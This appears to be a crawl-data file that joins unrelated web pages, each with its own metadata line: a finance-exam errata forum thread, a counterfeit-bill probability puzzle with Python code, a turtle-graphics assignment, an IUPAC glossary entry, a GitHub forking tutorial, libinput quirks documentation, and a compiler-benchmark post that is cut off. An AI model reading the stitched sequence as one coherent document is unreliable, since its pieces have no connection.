Hi @JeffSchmitz Yes, right, it's my mistake. As you suggest, the graph is labelled "Illustration of a square root of time exposure profile" and therefore reflects a generic diffusion concept which is applicable, as Gregory mentions, to FRA/forward contracts but even to the early years in a swap before amortization overwhelms. The reason i made the mistake is that the graph appears immediately after 7.3.1. Loans and Bonds, but it is meant to refer to 7.3.2. Future uncertainty, and I just didn't catch it while recording
If we go all the way back to Gregory's 1st edition (because I think he does not repeat this in the 2nd or 3rd versions, but I could be wrong ...), then we find his PFE curve for a loan/bond. This is much nearer to your expectation and characterization, although it's interesting that he does not show a pull-to-par, but rather he has 100% of notional immediately (hmmm ... I think we've talked about this in the forum before but I'm not sure I agree with this aspect. For example, if you buy a 30-year zero-coupon bond, what is the PFE + 1 day from purchase? Isn't it far less than the notional? ...)
evelyn.peng
Active Member
Hi there,
for Choudhry, in 2020, the last LO "Explain the decline in demand in the new-issue securitized finance products market following the 2007 financial crisis" appear to be removed out of the curriculum.
In the most up to date Study Note published on 06/12, that LO is still included.
I understand it is not a mistake, and I appreciate the extra study note for that LO. Just wanted to point out that the LO appears to be removed from the 2020 curriculum based on the handy spreadsheet comparison Nicole provided.
Thanks,
Evelyn
zer0
New Member
Subscriber
T6-R12-P2 page 11. The last example is using "year" in the last 2 lines on the page instead of \lambda (i.e. 3). Looks like a typo in the Excel used for the example.
T6-R12-P2 pg 14. The second heading of the table for the example should be "Cumulative Default Prob" not "Cumulative Default Time". The same errata is present on the next page.
T6-R12-P2 pg 19, last sentence of question 306.1: "both the spot and swap are risk-free curves". The word swap is missing.
T6-R12-P2 pg 26, The values in the text before the table are inconsistent with the table and the text afterwards. ($1.0MM portfolio,$1000MM portfolio, 500 positions, 50 positions, 2MM each or 20MM each).
Last edited:
zer0
New Member
Subscriber
T6-R13-P2 pg 8. MTM section, paragraph 2, sentence 2: MTM may be negative or positive. "be" is missing.
T6-R13-P2 pg 21. Top of the page, Without Netting example. This uses values of 10.0 during the explanation which should actually be 11.0
T6-R13-P2 pg 30. Q4 and Q5 assess AIMs for Gregory Chater 6 and not 5. They appear a little early in the study notes. This may be an error.
T6-R13-P2 pg 36, the two bullets at the bottom. The equations should read (100 - 7)% = 93% and (100 - 15)% = 85%. The 00's are missing.
T6-R13-P2 pg 54, the bottom of the page, before the table. "where the implied netting factor is 21/13 = 92.3%" this should be 12/13 i.e. (with netting / without netting) = netting factor
T6-R13-P2 pg 75, There is an extra "hello" in the heading at the top of the page.
Last edited:
zer0
New Member
Subscriber
T7-R29-P2 pg16. In the figure, X is allocated Marginal EC of $40 but it is$30 in the text. The text is correct here, if we have Y already we need $30 more EC if we want to include business X too. The same is true for Y, it should be$40 in the figure.
T7-R36-P2 pg12, Credit conversion Factors Table. 0% is applied to "Loan commitments with original maturity less than one year" not "Loan commitments with an original maturity greater than or equal to one year"
T7-R36-P2 pg13 in the tables the remaining maturity should be ">5" not "<5" in the last row. "M" is not defined for the second table.
Last edited:
Status
Not open for further replies.
Replies
7
Views
356
Replies
3
Views
365
Replies
2
Views
265
Replies
8
Views
461
Replies
18
Views
706 | 2021-11-27 08:32:31 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.43964770436286926, "perplexity": 2733.051143794295}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964358153.33/warc/CC-MAIN-20211127073536-20211127103536-00026.warc.gz"} |
https://www.jtash.com/riddler-counterfeits | # Riddler Counterfeits
##### Introduction
This week's fivethirtyeight riddler was created by yours truly! It was the first puzzle I've submitted to the riddler, and I hope you enjoyed it. This week we attempt to fool a bank with counterfeit hundred dollar bills. Here is the full text.
You are an expert counterfeiter, and you specialize in forging one of the most ubiquitous notes in global circulation, the U.S. $100 bill. You’ve been able to fool the authorities with your carefully crafted C-notes for some time, but you’ve learned that new security features will make it impossible for you to continue to avoid detection. As a result, you decide to deposit as many fake notes as you dare before the security features are implemented and then retire from your life of crime. You know from experience that the bank can only spot your fakes 25 percent of the time, and trying to deposit only counterfeit bills would be a ticket to jail. However, if you combine fake and real notes, there’s a chance the bank will accept your money. You have$2,500 in bona fide hundreds, plus a virtually unlimited supply of counterfeits. The bank scrutinizes cash deposits carefully: They randomly select 5 percent of the notes they receive, rounded up to the nearest whole number, for close examination. If they identify any note in a deposit as fake, they will confiscate the entire sum, leaving you only enough time to flee.
How many fake notes should you add to the $2,500 in order to maximize the expected value of your bank account? How much free money are you likely to make from your strategy? ##### Solution The counterfeiter wants to strike the optimum balance between profitability and risk. The ideal strategy will include as many fake notes as possible to maximize the size of the deposit, but not so many that the bank becomes aware of the fraud and seizes everything. The ideal strategy is to add 55 fake notes to the 25 real notes for a total deposit of$8000. The expected gain from this strategy is $1256†, which is the weighted average of expected profit from successful deposits and expected losses from bank seizures. With 55 fake notes, there is a 47% chance we avoid detection and collect a profit of$5500 - the value of the fake notes we were able to sneak into circulation. (Remember we started with $2500, so only the fake notes count as profit.) There is a 53% chance we are caught by the bank and lose the$2500 in real dollars we used as decoys.
† A note on interpreting the results: I intended the problem to include the risk of losing $2500 if we are caught, and gaining the value of the fake notes if we are not. Therefore, the expected value would be$47\%\times5500-53\%\times2500=1256$. However, potentially to avoid some ambiguity, the problem was rewritten to ask "how much free money are you likely to make from your strategy?" I believe with that criteria, the answer should be$47\%\times5500=2582$, which includes only the value of the fake notes, and doesn't penalize losing the real ones. Another interpretation could count the original$2500 as free money as well (perhaps because it may have been the product of fraud at one point or another too!), for an answer of $47\%\times8000=3756$. I think all three are reasonable interpretations of the problem, but the first method is my favorite, so I'll continue that way.
How can we be sure no other strategy produces a higher profit? For example, suppose we combine 30 fake notes with 25 real notes instead. The bank will select three notes for its audit, which is 5% of 55, rounded up to the nearest whole number. Depending on our luck, the bank could choose all three fake notes, all three real notes, or some combination in between.
Let’s assume the bank randomly chooses two fake notes and one real note for its audit. This occurs with roughly 41.5% probability, given by the formula ${{3}\choose{2}}\times\frac{30}{55}\times\frac{29}{54}\times\frac{25}{53}$. Each fake note is detected 25% of the time, which means at least one fake note from the pool of two is detected $1-0.75^2=43.75\%$ of the time. We use similar logic to solve for the likelihood and detection rate of the audits with three fakes, one fake, and zero fake notes. The overall detection rate is equal to the weighted average across each potential audit.
For the 30 fake, 25 real strategy, the probability of success is 64.3%, and the probability of detection is 35.7%. Therefore, the expected profit is $64.3\%\times3000-35.7\%\times2500=1038$. That’s a decent payday, but we can do better. The chart below shows the profit for strategies with up to 200 fake notes, and it confirms the maximum is achieved when we use 55.
We can see two patterns above. First, as we move to the right, we enter the “greedy danger zone,” where the bank becomes more likely to discover our fraud and seize the starting capital, resulting in larger and larger expected losses. Second, we see a sawtooth behavior caused by the bank’s practice of auditing 5% of deposited notes. The effect is significant: 55 is the ideal answer because we deposit 80 total notes, resulting in the bank auditing four. If we use 56 fake notes for a total of 81, then the bank audits five instead, which cuts the expected gain in half! A life of crime only pays if you’re good with numbers.
##### Full Code
The code this week is comprised of a single function that returns the expected value of a strategy with $n$ fake notes and $m$ real notes. There are optional parameters for the number of notes selected in an examination, the accuracy of the bank in detecting fake notes, and the denomination of bill used, with defaults set per the question. To generate a chart, run this model for the desired range of fake notes, e.g. 1 through 200, and plot the results.
import numpy as np
from math import ceil
from scipy.special import comb
def model(n_fake, n_real, selected=0.05, accuracy=0.25, denomination=100):
"""
Calculate the expected value of a strategy with n fake bills and m real bills.
Final expected value is defined as
* the value of the fake notes times the probability of not being caught
* minus the value of the real notes times the probability of being caught.
Parameters
----------
n_fake : int > 0, the number of fake bills used
n_real : int > 0, the number of real bills used
selected : float, between 0 and 1, the percent of bills examined by the bank,
which will be applied to (n_fake + n_real), then rounded up to the nearest
whole number
accuracy : float, between 0 and 1, the likelihood of a bank detecting a fake
note, given that it is examining that note
denomination : int, the bill in question, e.g. \$100, to multiply the result
Returns
-------
expected_value : float, the expected value of the given strategy
Examples
--------
>>> model(n_fake=55, n_real=25, selected=0.05, accuracy=0.25, denomination=100)
1256.8909531923773
"""
# number of notes randomly selected for inspection (rounded up to nearest whole)
k = ceil((n_fake+n_real)*selected)
# probabilities of choosing 0 through x fake notes in an examination
# calculated by solving for the denominator and numerator separately,
# then the (n choose k) component of each examination, and finally by
# multiplying all three together for an overall likelihood factor.
denominator = np.array([n_real+n_fake-x for x in range(k)])
numerator = np.array([
[n_fake - a for a in range(k-x)] + [n_real - b for b in range(x)]
for x in range(k+1)
])
combinations = np.array([comb(k, x) for x in range(k+1)])
factor = combinations * (numerator / denominator).prod(1)
# final likelihood of detection and corresponding expected value of payoffs
likelihood = np.array([(1-accuracy)**(k-x) for x in range(k+1)])
payoff = n_fake*likelihood - n_real*(1-likelihood)
return (factor * payoff * denomination).sum() | 2019-09-19 17:17:50 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6827990412712097, "perplexity": 1509.2600251369831}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-39/segments/1568514573561.45/warc/CC-MAIN-20190919163337-20190919185337-00447.warc.gz"} |
http://cs.roanoke.edu/Spring2016/CPSC150A/assignment1.php | # CPSC150AScientific Computing
## Assignment 1
Ballistic Simulation
The first electronic programmable computer, ENIAC, was created for performing ballistic calculations for the United States Army. ENIAC was the size of a school bus and weighed 30 tons. A lot has changed over the years, to the point where pocket sized computers (Cell Phones) now have more computational power than the ENIAC. For this assignment, you will use your modern day computer and the turtle module to perform similar calculations.
### Details
Using the turtle module, your program should draw a series of 3 concentric circles on the right hand side of the screen. These circles will represent the target that your ballistic simulation will be aiming for.
Your program is going to launch projectiles from the lower left corner of the window. To accomplish this, your program should prompt the user to enter both an initial x component of velocity, and an initial y component of velocity.
Given this information, your program should draw some fixed number of lines segments that will approximate the ballistic trajectory of the launched projectile. Each line segment can be calculated by using the projectile’s current velocity to compute the new location of the projectile (assuming the projectile is traveling in a straight line). Once you compute the new position, you then need to compute the new velocities in the x and y directions. You can do this by simply subtracing the acceleration due to gravity (9.81 m/s2) from the y component of velocity, and adding the acceleration due to wind (Which we will assume for now is 1 m/s2).
Keep in mind that your program does not need to stop when the user hits the target, nor does your program need to stop when the turtle leaves the screen. You simply need to draw some fixed number of line segments to represent the projectile path.
The assignment will be graded on the following requirements according to the course’s programming assignment rubric.
A functional program will:
• draw 3 concentric circles,
• align these circles in the lower right hand corner of the screen,
• ask the user for 2 integer input values for x and y velocity,
• draw a fixed number of line segments representing the ballistic trajectory of the projectile,
• start the path of the projectile from the lower left hand corner of the screen, and
• account for gravitational and wind forces in the computation of the ballistic trajectory.
### Submission
Submit your program as a .py file on the course Inquire page before class on Thursday February 4th. | 2019-07-21 07:35:49 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.42104172706604004, "perplexity": 686.7497758858406}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-30/segments/1563195526931.25/warc/CC-MAIN-20190721061720-20190721083720-00235.warc.gz"} |
https://www.goldbook.iupac.org/terms/view/E02012/plain | ## electron-transfer catalysis
https://doi.org/10.1351/goldbook.E02012
The term indicates a sequence of reactions such as shown in equations (1)–(3), leading from A to B :
$\text{A} + \text{e}^{-} \rightarrow \text{A}^{\cdot- }$ (1) $\text{A}^{\cdot- } \rightarrow \text{B}^{\cdot- }$ (2) $\text{B}^{\cdot- } + \text{A} \rightarrow \text{B} + \text{A}^{\cdot- }$ (3)
An analogous sequence involving radical cations (A+·, B+·) is also observed. The most notable example of electron-transfer catalysis is the S RN 1 (or T + D N + A N) reaction of aromatic halides. The term has its origin in a suggested analogy to acid-base catalysis, with the electron instead of the proton. However, there is a difference between the two catalytic mechanisms, since the electron is not a true catalyst, but rather behaves as the initiator of a chain reaction. 'Electron-transfer induced chain reaction' is a more appropriate term for the situation described by equations (1)–(3).
Source:
PAC, 1994, 66, 1077. 'Glossary of terms used in physical organic chemistry (IUPAC Recommendations 1994)' on page 1110 (https://doi.org/10.1351/pac199466051077) | 2020-08-14 21:05:09 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7992807626724243, "perplexity": 1892.8395144442031}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-34/segments/1596439739370.8/warc/CC-MAIN-20200814190500-20200814220500-00022.warc.gz"} |
https://material.bits.vib.be/topics/git-introduction/tutorials/6_forks/tutorial.html | # 6 Forks
question Questions
• How to collaborate on a(n existing) project
objectives Objectives
• Understand and being able to apply GitHubs Fork & pull workflow
• Pull upstream commits to a forked repository
time Time estimation: 30 minutes
# 1. Introduction
In this chapter we will discuss a strategy for collaborating on a project.
Imagine that you’re starting a project with some colleagues and you want to version control the project. If it were to be a document where each of you needs to write part of it, you could simply start a Google Doc. For coding purposes the situation is a bit more complex. There might be a base version of the code already to which you need to add separate parts, however you always need to test whether your part is working together with the rest of the code.
For this purpose, GitHub encourages the Fork & Pull workflow. Basically one forks a central repository, making it a personal forked repository. This repository can constantly be up to date with the central repository. Changes that are done by yourself are pushed to the forked personal repository. If the work is complete, the changes in the forked repository can be merged back into the central repository by creating a pull request. This workflow leaves the central repository untouched untill the moment you want to incorporate changes.
Forking a remote repository is not enough. After you’ve forked a repository, it will appear as a new repository in your GitHub account. The next step would be to clone the repository locally so you can work on the project from your computer. It’s always a good idea to make changes in a new branch and keep the master branch clean. Hence, after cloning the repository, you could make a new branch. Staging, committing and pushing your changes remains the same and they will appear in your new forked repository.
Two important terms in this fork & pull workflow are:
• upstream: generally refers to the original repository that you have forked
• origin: is your fork: your own repo on GitHub
As mentioned in section 4.4, the “origin” is used to refer to the GitHub original repository’s URL. This also lasts here. The remote origin refers to your fork on GitHub, not the original repository it was forked from.
To summarize the above, the Fork & Pull workflow consists of the following steps:
1. Fork
2. Clone
3. Branch
4. Stage-commit-push
5. Pull request
# 2. Fork
Let’s first start with exploring a bit on GitHub. GitHub is like the Facebook of programmers. You can see someone’s account, what that person has been working on, find new projects (relatable to a Facebook page), etc. Exploring new repositories is possible by clicking on the ‘Explore’ button in the navigation bar. Searching a specific repository or searching for an account, on the other hand, is possible by simply typing it in the search bar in the navigation bar.
Search for the VIB Bioinformatics Core account ‘vibbits’ and find the repository ‘fork-repository’. This repository was made especially for learning the principle of forking. Do this by clicking the fork button in the upper right corner.
The repository has been successfully forked if you see something similar to the figure below. The icon represents a fork, followed by your GitHub account name and the name of the repository. Below it tells us that the upstream repository is the vibbits/forked-repository.
# 4. Changes
In normal circumstances, this would be the point where you clone this repository locally, make a branch and do some edits in that branch. The flow here remains the same: stage-commit-push. For this exercise we will only edit the participants.txt file on GitHub as we’ve explored the local usage before.
Add your name, accountname or initials and the date to the participants.txt file.
Your repository now looks like this. Notice the indicator saying that this branch is 1 commit ahead of the upstream repository.
This is of course only the case as there were no changes in the upstream repository in the meantime. In normal circumstances the upstream repository might have changed. The indicator would then note that there are new commits in the upstream (1 commit behind vibbits:master), while the branch/repo itself is one commit ahead.
This does not (really) affect the pull request.
# 3. Pull request
The two repositories have diverged during the previous steps. Now its time to create a pull request between these repositories. Find the pull request button right underneath the green clone or download button and click it.
A new screen pops up that looks very similar to the one seen in Chapter 5 (Branching & merging).
GitHub tells us:
• It compared the master branch of the forked repository (in my case tmuylder/fork-repository) with the upstream (base) repository vibbits/fork-repository.
• It’s able to merge these two branches without any conflicting errors
• It summarizes the changes that have been done in the branch that will be merged into the upstream.
If all seems good, you can create the pull request. In the case that there are any conflicting errors, they’ll need to be solved first. Afterwards you only need to add a message that accompanies the pull request.
A brief overview of the pull request is given in the following screen which either allows you to merge the pull request into the upstream repository yourself or which requests the maintainer of the upstream repository to review and merge the pull request. In the latter case, the maintainer will thereafter receive a notification showing the pull request. An overview of all pending pull requests where you are involved in, are consultable on the pull requests tab of the navigation bar.
# 5. Overview
This is the easiest collaboration you’ll probably do in a lifetime. To briefly summarize, the steps that we took were: fork > edit > pull request (> merge). As mentioned before this is only possible if the upstream repository didn’t change (too much). If this were to be the case, there might be one additional step in which you have to solve conflicts in the pull request.
If your changes were a bit more complex and needed to be performed on your local computer, the steps would extent to: fork > clone (> branch) > edit-stage-commit-push > pull request (> merge). What if the upstream repository changed while you were working on your local repository? In this case a pull request should be done in which the receiving branch is your forked repository. Hence, the order of the branches as depicted in the figure above would be swapped.
### hands_on Exercise
Merge upstream changes in your forked repository. This approach is useful if your working on a project that is prone to lots of changes and you need to keep up to date. Note: This exercise is only possible to be performed if the repository vibbits/fork-repository has changed after you forked it.
solution Solution
You need to merge any upstream changes into your version, and you can do this with a pull request on GitHub too. This time though you will need to switch the bases of the comparison around, because the changes will be coming from the upstream version to yours. First find the following notification in your repository and click on pull request:
In my case, the order is not how it’s supposed to be and the message reads: “There isn’t anything to compare. vibbits:master is up to date with all commits from tmuylder:master.”. Click on switching the base in order to insert the changes from the upstream in your forked repository.
A message similar to the following will allow to create a pull request and subsequently merge the changes into your forked repository. | 2020-07-15 04:46:22 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.1725418120622635, "perplexity": 1713.726947619962}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-29/segments/1593657155816.86/warc/CC-MAIN-20200715035109-20200715065109-00079.warc.gz"} |
https://wayland.freedesktop.org/libinput/doc/latest/device-quirks.html | # Device quirks¶
libinput requires extra information from devices that is not always readily available. For example, some touchpads are known to have jumping cursors under specific conditions. libinput ships a set of files containting the so-called model quirks to provide that information. Model quirks are usually installed under /usr/share/libinput/<filename>.quirks and are standard .ini files. A file may contain multiple section headers ([some identifier]) followed by one or more MatchFoo=Bar directives, followed by at least one of ModelFoo=1 or AttrFoo=bar directive. See the quirks/README.md file in the libinput source repository for more details on their contents.
Warning
Model quirks are internal API and may change at any time. No backwards-compatibility is guaranteed.
For example, a quirks file may have this content to label all keyboards on the serial bus (PS/2) as internal keyboards:
[Serial Keyboards]
MatchUdevType=keyboard
MatchBus=serial
AttrKeyboardIntegration=internal
The model quirks are part of the source distribution and should never be modified locally. Updates to libinput may overwrite modifications or even stop parsing any property. For temporary local workarounds, see Installing temporary local device quirks.
Device quirks are parsed on libinput initialization. A parsing error in the device quirks disables all device quirks and may negatively impact device behavior on the host. If the quirks cannot be loaded, an error message is posted to the log and users should use the information in Debugging device quirks to verify their quirks files.
## Installing temporary local device quirks¶
The model quirks are part of the source distribution and should never be modified. For temporary local workarounds, libinput reads the /etc/libinput/local-overrides.quirks file. Users may add a sections to this file to add a device quirk for a local device but beware that any modification must be upstreamed or it may cease to work at any time.
Warning
Model quirks are internal API and may change at any time. No backwards-compatibility is guaranteed. Local overrides should only be used until the distribution updates the libinput packages.
The local-overrides.quirks file usually needs to be created by the user. Once the required section has been added, use the information from section Debugging device quirks to validate and test the quirks.
## Debugging device quirks¶
libinput provides the libinput quirks tool to debug the quirks database. This tool takes an action as first argument, the most common invocation is libinput quirks list to list model quirks that apply to one or more local devices.
$libinput quirks list /dev/input/event19$ libinput quirks list /dev/input/event0
AttrLidSwitchReliability=reliable
The device event19 does not have any quirks assigned.
When called with the --verbose argument, libinput quirks list prints information about all files and its attempts to match the device:
\$ libinput quirks list --verbose /dev/input/event0
quirks debug: /usr/share/share/libinput is data root
quirks debug: /usr/share/share/libinput/10-generic-keyboard.quirks
quirks debug: /usr/share/share/libinput/10-generic-lid.quirks
[...]
quirks debug: /usr/share/etc/libinput/local-overrides.quirks
quirks debug: /dev/input/event0: fetching quirks
quirks debug: [Serial Keyboards] (10-generic-keyboard.quirks) wants MatchBus but we don't have that
quirks debug: [Lid Switch Ct9] (10-generic-lid.quirks) matches for MatchName
quirks debug: [Lid Switch Ct10] (10-generic-lid.quirks) matches for MatchName
quirks debug: [Lid Switch Ct10] (10-generic-lid.quirks) matches for MatchDMIModalias
quirks debug: [Lid Switch Ct10] (10-generic-lid.quirks) is full match
quirks debug: property added: AttrLidSwitchReliability from [Lid Switch Ct10] (10-generic-lid.quirks)
quirks debug: [Aiptek No Tilt Tablet] (30-vendor-aiptek.quirks) wants MatchBus but we don't have that
[...]
quirks debug: [HUION PenTablet] (30-vendor-huion.quirks) wants MatchBus but we don't have that
quirks debug: [Logitech Marble Mouse Trackball] (30-vendor-logitech.quirks) wants MatchBus but we don't have that
quirks debug: [Logitech K400] (30-vendor-logitech.quirks) wants MatchBus but we don't have that
quirks debug: [Logitech K400r] (30-vendor-logitech.quirks) wants MatchBus but we don't have that
quirks debug: [Logitech K830] (30-vendor-logitech.quirks) wants MatchBus but we don't have that
quirks debug: [Logitech K400Plus] (30-vendor-logitech.quirks) wants MatchBus but we don't have that
quirks debug: [Logitech Wireless Touchpad] (30-vendor-logitech.quirks) wants MatchBus but we don't have that
quirks debug: [Microsoft Surface 3 Lid Switch] (30-vendor-microsoft.quirks) matches for MatchName
[...]
AttrLidSwitchReliability
Note that this is an example only, the output may change over time. The tool uses the same parser as libinput and any parsing errors will show up in the output.
## List of supported device quirks¶
This list is a guide for developers to ease the process of submitting patches upstream. This section shows device quirks supported in git commit 1ebdc60.
Warning
Quirks are internal API and may change at any time for any reason. No guarantee is given that any quirk below works on your version of libinput.
In the documentation below, the letters N, M, O, P refer to arbitrary integer values.
Quirks starting with Model* triggers implementation-defined behaviour for this device not needed for any other device. Only the more general-purpose Model* flags are listed here.
Indicates the touchpad has a drawn-on visible marker between the software buttons.
ModelTabletModeNoSuspend
Indicates that the device does not need to be suspended in Tablet mode switch handling.
ModelTabletModeSwitchUnreliable
Indicates that this tablet mode switch’s state cannot be relied upon.
ModelTrackball
Reserved for trackballs
ModelBouncingKeys
Indicates that the device may send fake bouncing key events and timestamps can not be relied upon.
AttrSizeHint=NxM, AttrResolutionHint=N
Hints at the width x height of the device in mm, or the resolution of the x/y axis in units/mm. These may only be used where they apply to a large proportion of matching devices. They should not be used for any specific device, override EVDEV_ABS_* instead, see Measuring and fixing touchpad ranges.
AttrTouchSizeRange=N:M, AttrPalmSizeThreshold=O
Specifies the touch size required to trigger a press (N) and to trigger a release (M). O > N > M. See Debugging touch size ranges for more details.
AttrTouchPressureRange=N:M, AttrPalmPressureThreshold=O, AttrThumbPressureThreshold=P
Specifies the touch pressure required to trigger a press (N) and to trigger a release (M), when a palm touch is triggered (O) and when a thumb touch is triggered (P). O > P > N > M. See Debugging touchpad pressure ranges for more details.
AttrLidSwitchReliability=reliable|write_open
Indicates the reliability of the lid switch. This is a string enum. Do not use “reliable” for any specific device. Very few devices need this, if in doubt do not set. See Lid switch handling for details.
AttrKeyboardIntegration=internal|external
Indicates the integration of the keyboard. This is a string enum. Generally only needed for USB keyboards.
AttrTPKComboLayout=below
Indicates the position of the touchpad on an external touchpad+keyboard combination device. This is a string enum. Don’t specify it unless the touchpad is below.
AttrEventCodeDisable=EV_ABS;BTN_STYLUS;EV_KEY:0x123;
Disables the evdev event type/code tuples on the device. Entries may be a named event type, or a named event code, or a named event type with a hexadecimal event code, separated by a single colon.
AttrPointingStickIntegration=internal|external
Indicates the integration of the pointing stick. This is a string enum. Only needed for external pointing sticks. These are rare. | 2020-10-23 23:45:25 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.19484195113182068, "perplexity": 10229.643892201186}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-45/segments/1603107881551.11/warc/CC-MAIN-20201023234043-20201024024043-00337.warc.gz"} |
https://kristerw.blogspot.co.uk/2017/ | ## Monday, July 24, 2017
### Phoronix SciMark benchmarking results
Phoronix recently published an article “Ryzen Compiler Performance: Clang 4/5 vs. GCC 6/7/8 Benchmarks”, and there are many results in that article that surprises me...
One such is the result for SciMark that shows that GCC generates much slower code than LLVM – there is a big difference in several tests, and the composite score is 25% lower. I do not have any Ryzen CPU to test on, but my testing on Broadwell shows very little difference between GCC and LLVM when SciMark is compiled with -O3 -march=x86-64 as in the article, and the Ryzen microarchitecture should not introduce that big difference. And the reported numbers seem low...
The Phoronix testing also shows strange performance variations between different GCC versions that I don’t see in my testing – I see a performance increase for each newer version of the compiler.
The published test results are made running scripts available at OpenBenchmarking.org, and looking at the build script for SciMark shows that it is built as
cc $CFLAGS -o scimark2 -O *.c -lm Note the -O – this overrides the optimization level set by $CFLAGS and explains at least some of the discrepancies in the test results.1 GCC maps -O to the -O1 optimization level that is meant to be a good choice to use while developing – it optimizes the code, but focuses as much on fast compilation time and good debug information as on producing fast code. LLVM maps -O to -O2 that is a “real” optimization level that prioritizes performance, so it is not surprising that LLVM produces faster code in this case.
So the benchmarking result does not show what is intended, and both compilers can do better than what the test results show...
1. I get similar results as the article when I use -O, but my result for FFT is very different...
## Thursday, July 20, 2017
### A load/store performance corner case
I have recently seen a number of “is X faster than Y?” discussions where micro benchmarks are used to determine the truth. But performance measuring is hard and may depend on seemingly irrelevant details...
Consider for example this code calculating a histogram
int histogram[256];
void calculate_histogram(unsigned char *p, int len)
{
memset(histogram, 0, sizeof(histogram));
for (int i = 0; i < len; i++)
histogram[p[i]]++;
}
The performance “should not” depend on the distribution of the values in the buffer p, but running this on a buffer with all bytes set to 0 and one buffer with random values gives me the result (using the Google benchmark library and this code)
Benchmark Time CPU Iterations
